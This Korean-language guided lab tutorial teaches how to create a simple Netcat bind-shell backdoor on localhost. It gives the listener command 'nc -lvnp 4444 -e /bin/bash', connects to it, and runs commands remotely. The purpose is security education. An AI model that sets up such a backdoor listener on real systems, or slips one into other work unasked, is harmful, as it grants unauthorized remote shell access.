이 실습에서는 다목적 네트워킹 유틸리티인 Netcat 을 사용하여 기본적인 백도어를 만드는 방법을 배웁니다. 백도어는 정상적인 인증을 우회하여 컴퓨터에 원격으로 액세스하는 방법입니다. 시뮬레이션된 "피해자" 머신에 리스너를 설정하고 시뮬레이션된 "공격자" 머신에서 해당 리스너에 연결하여 원격으로 명령을 실행하는 연습을 하게 됩니다. 이 실습은 사이버 보안에 사용되는 기본적인 네트워킹 개념을 시연하며, 공격 기술과 방어 인식 모두에 대한 통찰력을 제공합니다.
이것은 가이드 실험입니다. 학습과 실습을 돕기 위한 단계별 지침을 제공합니다.각 단계를 완료하고 실무 경험을 쌓기 위해 지침을 주의 깊게 따르세요. 과거 데이터에 따르면, 이것은 초급 레벨의 실험이며 완료율은 97%입니다.학습자들로부터 100%의 긍정적인 리뷰율을 받았습니다.
Netcat 이해하기
Netcat (또는 nc) 은 TCP 또는 UDP 를 사용하여 네트워크 연결에서 읽고 쓰는 명령줄 유틸리티입니다. 다재다능함 때문에 종종 "TCP/IP의 스위스 군용 칼"이라고 불립니다. 이 실습에서는 설정 스크립트가 이미 우리의 목적에 적합한 Netcat 버전을 설치했습니다.
먼저 Netcat 이 설치되었는지 확인하고 도움말 메뉴를 살펴보겠습니다. 이를 통해 사용 가능한 옵션을 볼 수 있습니다.
터미널에서 다음 명령을 실행하십시오.
nc -h
명령 옵션 목록이 표시됩니다. 출력은 다음과 유사할 것입니다 (버전에 따라 다를 수 있음).
[v1.10-41]
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [-options] [hostname] [port]
options:
-c shell commands as `-e'; use /bin/sh to exec [dangerous!!]
-e filename program to exec after connect [dangerous!!]
-b allow broadcasts
...
-e 및 -c 옵션에 주의하십시오. 출력에서 명시적으로 "dangerous"라고 표시합니다. 이는 명령 쉘과 같은 프로그램을 실행하고 이를 네트워크 포트에 연결할 수 있기 때문입니다. 이것이 바로 우리가 백도어를 만드는 데 사용할 기능입니다. 도구의 기능이 왜 위험하다고 간주되는지 이해하는 것은 사이버 보안 학습의 핵심 부분입니다.
백도어 리스너 생성
이 단계에서는 하나의 터미널을 "피해자" 머신으로 구성합니다. 이 머신은 들어오는 연결을 기다리는 Netcat 리스너를 실행합니다. 연결이 이루어지면 연결하는 사람에게 명령 쉘을 제공하여 효과적으로 백도어를 생성합니다.
이 연습에서는 포트 4444를 사용합니다. 포트는 네트워크를 통해 머신의 다른 서비스에 액세스할 수 있도록 하는 통신 엔드포인트입니다.
현재 터미널에서 다음 명령을 실행하여 리스너를 시작하십시오.
nc -lvnp 4444 -e /bin/bash
이 명령을 분석해 보겠습니다.
-l: Netcat 을 수신 모드로 전환하여 들어오는 연결을 기다립니다.
-v: 자세한 모드를 활성화하여 연결에 대한 더 많은 세부 정보를 제공합니다.
-n: Netcat 에 호스트 이름을 확인하는 대신 숫자 IP 주소를 사용하도록 지시하여 더 빠르게 만들 수 있습니다.
-p 4444: 수신할 포트를 지정합니다. 이 경우 포트 4444입니다.
-e /bin/bash: 이것이 가장 중요한 부분입니다. Netcat 에 /bin/bash 프로그램 (Bash 쉘) 을 실행하고 클라이언트가 연결되는 즉시 해당 입력 및 출력을 네트워크 소켓에 연결하도록 지시합니다.
명령을 실행한 후 터미널에는 수신 중임을 나타내는 메시지가 표시되고 아무 작업도 수행하지 않는 것처럼 보일 것입니다. 이것은 정상입니다. 이제 연결을 기다리고 있습니다.
listening on [any] 4444 ...
이 터미널을 닫지 마십시오. 이 터미널을 피해자 터미널이라고 부르겠습니다. 다음 단계를 위해 새 터미널을 열어야 합니다.
백도어 연결
이제 "공격자" 역할을 수행합니다. 새 터미널을 열고 이전 단계에서 시작한 리스너에 연결하기 위해 Netcat 을 사용합니다. 이 실습에서는 "피해자"와 "공격자"가 모두 동일한 머신에 있으므로 localhost IP 주소인 127.0.0.1에 연결합니다.
먼저 새 터미널을 엽니다. 터미널 영역을 마우스 오른쪽 버튼으로 클릭하고 "새 탭"을 선택하거나 바로 가기 Ctrl+Shift+T를 사용하여 이 작업을 수행할 수 있습니다. 이 새 터미널을 공격자 터미널이라고 부르겠습니다.
새로운 공격자 터미널에서 다음 명령을 실행하여 리스너에 연결합니다.
nc 127.0.0.1 4444
이 명령을 실행하면 피해자 터미널에 연결 메시지가 표시됩니다.
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 33333
(포트 번호 33333은 임의의 높은 번호의 포트가 될 것입니다)
이제 공격자 터미널에 깜박이는 커서가 표시되지만 프롬프트는 없습니다. 이는 피해자 터미널에서 실행 중인 Bash 쉘 내부에 있기 때문입니다. 성공적으로 원격 쉘을 설정했습니다. 여기에 입력하는 모든 명령은 "피해자" 머신에서 실행됩니다.
원격 명령 실행
이제 원격 쉘을 확보했습니다. 공격자 터미널에서 몇 가지 명령을 실행하여 테스트해 보겠습니다. 이러한 명령은 피해자 터미널의 컨텍스트 내에서 실행됩니다.
공격자 터미널에서 다음 명령을 입력하고 Enter 키를 누릅니다.
whoami
출력은 피해자 쉘의 사용자 계정인 labex가 됩니다.
labex
이제 원격 쉘의 현재 작업 디렉터리를 확인해 보겠습니다.
pwd
출력은 labex 사용자의 홈 디렉터리를 보여줍니다.
/home/labex/project
제어권을 가지고 있음을 증명하기 위해 "피해자" 시스템에 파일을 생성해 보겠습니다. 공격자 터미널에서 이 명령을 실행합니다.
echo "Backdoor was here" > /tmp/proof.txt
이 명령은 /tmp 디렉터리에 proof.txt라는 이름의 파일을 생성하고 그 안에 일부 텍스트를 포함합니다. 출력은 표시되지 않습니다.
이제 파일이 생성되었는지 확인해 보겠습니다. 공격자 터미널에서 파일 내용을 읽습니다.
cat /tmp/proof.txt
방금 입력한 텍스트가 표시되어야 합니다.
Backdoor was here
원격으로 명령을 성공적으로 실행하고 피해자의 파일 시스템을 수정했습니다. 세션을 종료하려면 공격자 터미널에서 Ctrl+C를 누르면 됩니다. 이렇게 하면 연결이 종료되고 피해자 터미널의 Netcat 리스너 프로세스도 종료됩니다.
요약
이 실습에서는 Netcat 을 사용하여 간단한 백도어를 생성하고 상호 작용하는 방법을 배웠습니다. "피해자" 머신에서 명령 쉘을 제공하기 위해 -l, -p, -e 플래그를 사용하여 리스너를 설정하는 연습을 했습니다. 그런 다음 다른 터미널에서 이 리스너에 연결하고 원격으로 명령을 실행하는 "공격자" 역할을 수행했습니다.
이 연습은 Netcat 의 강력하지만 위험할 수 있는 기능을 보여줍니다. 이러한 도구가 어떻게 무단 액세스에 사용될 수 있는지 이해하는 것은 사이버 보안의 기본적인 기술이며, 유사한 실제 공격을 더 잘 인식하고 방지하며 방어하는 데 도움이 됩니다.